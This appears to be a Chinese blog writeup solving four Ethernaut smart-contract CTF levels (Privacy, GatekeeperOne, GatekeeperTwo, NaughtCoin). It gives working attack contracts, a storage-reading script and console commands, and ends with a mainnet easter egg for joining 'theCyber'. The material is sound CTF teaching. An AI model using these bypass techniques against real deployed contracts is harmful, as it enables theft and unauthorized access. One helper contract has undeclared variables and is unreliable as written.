能力中心
本站所有文章均为原创,如需转载请注明出处
续《智能合约CTF:Ethernaut Writeup Part 2》第四章节
经过好几天的艰难险阻,终于把新出的四道题做出来了,做的时候国内外还没有相关的 writeup,所以自己不断地研究、调试。后面几道确实是有难度,脑壳疼,要对原理有深刻的理解了才做得出来。本篇为第三篇,完成于 2018/6/10。完成之后才看到 medium 上有人更新 writeup 出来,其过程还是比较繁琐。同时今天又看到有新的题目出来了,后面还会继续更新。
关卡说明:
读取合约存储从而解锁合约。
题目代码:
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
解题方法:
我们要知道,没有东西在区块链上是隐蔽的,即使使用了 private。 使用 Web3 的 getStorageAt(...)
可以读取我们想要的变量内容,来通过这一关。
// PrivacyExploit.js
// node PrivacyExploit.js 5
const Web3 = require('web3');
const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/0x01..")); // 你的钱包账户地址
let contractAddress = '0x02..'; // 题目实例地址
const max = process.argv[2];
if(!max){
console.log('Plz input a max index');
}
for (index = 0; index < max; index++){
storage = web3.eth.getStorageAt(contractAddress, index)
console.log(`[${index}]` + storage)
1 执行上面代码,node PrivacyExploit.js 5
, 观察返回结果。
[0]0x000000000000000000000000000000000000000000000000000000e162ff0a01
[1]0x051fd9d690ec293e9859de7845411c4b5bd239197f022ce85176853cc9e5c629
[2]0x10ceb86c4d1814c46ccd7b0fa30c8fe16c875ac7e148e5aa158463a314030b72
[3]0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000
2 分析返回内容,与合约定义进行比较
// [0]0x000000000000000000000000000000000000000000000000000000e162ff0a01
bool public locked = true; // -> 01
uint256 public constant ID = block.timestamp; // -> 常量不写入存储
uint8 private flattening = 10; // -> 0a
uint8 private denomination = 255; // -> ff
uint16 private awkwardness = uint16(now); // -> e162
// [1]0x051fd9d690ec293e9859de7845411c4b5bd239197f022ce85176853cc9e5c629
// [2]0x10ceb86c4d1814c46ccd7b0fa30c8fe16c875ac7e148e5aa158463a314030b72
// [3]0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab
bytes32[3] private data; // -> 数组中三个内容对应上面三个插槽内容
3 因此本题 _key 即 0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab
,在 console 窗口执行 contract.unlock(0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab)
即可过关。
图2
关卡说明:
通过看门人的三项检查,成为进入者(entrant)。
题目代码:
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
解题方法:
这里的 enter 有三个修饰器。本关难点在于如何通过这三个修饰器。
gateOne 需要利用合约做中间代码。
gateTwo 修饰器的攻击比较复杂。在这个案例中,修饰器条件是剩余的gas为指定的数量:8191的倍数。因此我们使用 Remix-IDE 中的 debug 功能进行测试,在执行这个判断语句时消耗的 gas 数。最终,我们测试出来需要gas数量为 32979 。
gateThree 修饰器中有三个判断条件。从第三个条件可以是基于”tx.origin”的,因此每个人的 _gateKey 都会有所不同。记住 msg.sender 是你的攻击合约地址,而 tx.origin 是你的钱包账户地址。
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
我们写一个脚本进行测试
// GateKeeperCheck.sol
pragma solidity ^0.4.18;
contract GateKeeperCheck {
function condition2(bytes8 _gateKey) view returns(bool a,bool b, bool c){
a = uint32(_gateKey) == uint16(_gateKey);
b = uint32(_gateKey) != uint64(_gateKey);
c = uint32(_gateKey) == uint16(tx.origin);
}
function Converter(address _player) view returns(bytes8 s,uint16 a,uint32 b, uint64 c){
s = bytes8(_player);
a = uint16(_player);
b = uint32(_player);
c = uint64(_player);
}
}
1、 转换类型为 byte8 需要截断 tx.origin 为 8 个字节长度。这里测试账户地址0xca35b7d915458ef540ade6068dfe2f44e8fa733c
。
图3
2、 uint16(tx.origin) -> 29500
因为 uint16 受最后 4 位影响,uint32 受最后 8 位影响,因此要满足判断条件1和3,则需要将 0x8dfe2f44e8fa733c
后面 8 位改为 0x0000733c
图4
3、 要满足条件2,因为 uint64 受最后的 16 位影响。这里的因此要求最后 16 位改为 0x8dfe2f440000733c
图5
因此,最终的解题方法如下:
// GateKepperhack.sol
pragma solidity ^0.4.18;
import './GatekeeperOne.sol';
contract GateKepperhack {
address public _gateKey = tx.origin;
bytes8 public _gateKey8 = bytes8(_gateKey);
bytes8 public mask = 0xFFFFFFFF0000FFFF;
bytes8 public _gateKey8Padded = _gateKey8 & mask;
function hack(uint256 _mount,address _target){
GatekeeperOne target = GatekeeperOne(_target);
target.call.gas(_mount)(bytes4(sha3("enter(bytes8)")),_gateKey8Padded);
}
}
"32979","0x01"
(这里的0x01改为你的题目合约实例地址)contract.entrant()
查看,若 entrant
已经从 0x0000000000000000000000000000000000000000
变为你的 player 地址,说明成功了,可以过关了。
关卡说明:
通过看门人的三项检查,成为进入者(entrant)。
题目代码:
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
解题方法:
gateOne 跟上一关一样,需要利用合约进行攻击。
gateTwo 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
而这里的代码,条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor
构造函数中。
gateThree 中 ^ 符号为位的 或(XOR) 操作,优先级为 – 大于 ^ 大于 == 。由于要使 X ^ Y = Z , 则 Y = X ^ Z。因此我们写的合约中,要使 uint64(_gateKey) = (uint64(0) - 1) ^ uint64(keccak256(msg.sender));
,同时,这里的 uint64(0) - 1
为 0xFFFFFFFFFFFFFFFF
。
可以使用下面的合约进行测试:
// GateKeeperCheck.sol
pragma solidity ^0.4.18;
contract GateKeeperCheck {
function Converter(bytes8 _gateKey) view returns(address sender,uint64 s,uint64 a,uint64 b,uint64 o, bool c){
sender = msg.sender;
s = uint64(keccak256(msg.sender));
a = uint64(_gateKey);
b = uint64(0) -1;
o = uint64(keccak256(msg.sender)) ^ uint64(_gateKey);
c = uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1;
x = (uint64(0) - 1) ^ uint64(keccak256(msg.sender));
guess1 = bytes8(x);
guess2 = bytes8(b);
y = uint64(keccak256(msg.sender)) ^ uint64(guess1) == uint64(0) - 1;
}
}
最终我们的攻击代码如下:
// GateKepperTwohack.sol
pragma solidity ^0.4.18;
import './GatekeeperTwo.sol';
contract GateKepperTwohack {
uint64 public mask = 0xFFFFFFFFFFFFFFFF;
uint64 public _gateKey8Padded = uint64(keccak256(this)) ^ mask;
function GateKepperTwohack(address _target){
GatekeeperTwo target = GatekeeperTwo(_target);
target.call.gas(100000)(bytes4(sha3("enter(bytes8)")),bytes8(_gateKey8Padded));
}
}
1 将上面合约代码放在 remix-ide 中;
2 填入题目实例合约地址,执行部署攻击代码合约;
3 查看 entrant
发现已经发生变化,说明攻击成功,提交即可过关。
图6
完成本关之后,我们发现了有一个彩蛋,这个彩蛋部分放在本文的最后部分《成为 theCyber 成员》
图7
关卡说明:
NaughtCoin 是一个标准的 ERC20 token 合约,并且你已经拥有了所有的 token。但是问题是,需要10年后才能够执行 transfer 将 token 转移。现在你的目标是突破限制,将所有 token 转移到别的地址,使用合约中你的 token 余额变为 0。
题目代码:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {
_;
}
} else {
_;
}
}
}
解题方法:
当你使用别人的代码时,需要非常熟悉之,才能将融会贯通。尤其在使用了多重级别的 import (import 的合约中还有import),或者做权限控制等等,都要非常谨慎。 在这个案例里,开发者只看到了当前合约中的 transfer 并对其做限制,却忽略了对加载的合约做限制,因此我们可以绕过锁的检查。
1. 在 console 窗口中,contract.approve(player,1000000000000000000000000)
,增加可以允许转移 token 数;
2. 执行 contract.transferFrom(player,contract.address,1000000000000000000000000)
,进行转移 token 操作。
3. 执行 contract.balanceOf(player)
查看 token 余额为 0 即可过关。
图8
图9
从文字里可以看到信息:
信息 1 gatekeepertwo.thecyber.eth
信息 2 跟 0age 要 passphrases 来加入到 thecyber 组织。
关于 thecyber 组织的情况,我们可以 Wilfried Kopp 的几篇文章了解,地址在: Wilfried Kopp
图10
另一方面,我也通过邮件跟 0age 拿到了两个 passphrases 。
图11
查看 gatekeepertwo 的代码,我们可以看到这个代码的作用,是筹够了 128 个entrant,再让这 128 加入到 thecyber 组织中。
// This contract replaces the original gatekeeper contract at the address
// 0x44919b8026f38D70437A8eB3BE47B06aB1c3E4Bf. It begins by adding members
// that registered with the original gatekeeper, then collects addresses of
// new initial members of theCyber. In order to register, an entrant must
// provide a passphrase that will hash to a sequence known to the gatekeeper.
// They must also find a way to get around a few barriers to entry (which have
// changed since the original contract) before they can successfully register.
// Once 128 addresses have been submitted, the assignAll method may be called,
// which (assuming theCyberGatekeeperTwo is itself a member of theCyber), will
// assign 128 new members, each owned by one of the submitted addresses.
第一次看时是有 65 个 entrant,说明已经有人完成题目并进入到成功成为进入者了。而截至文章发布时,有 97 个进入者。所以还有 30 个名额,大家干巴爹啦。操作过程如下:
1 查看Passphrase
是否已经被使用
若返回 true 说明已经被使用了,返回 false 则可能是可用口令或者无效口令。
图12
2 执行攻击
在 GateKepperTwo 关卡的基础上要再修改一下代码,注意要在主网下部署,部署完看到进入者人数发生变化,证明已经成为进入者了。
【操作过程中有任何疑问留言交流】
BTW, TCC team长期招聘,包含安全研究、机器学习、数据分析、大数据等职位。感兴趣不妨发简历联系我们。Email: alex.xu@tophant.com。
3publicly
2023/01/27 01:201healthcare
2022/09/02 20:38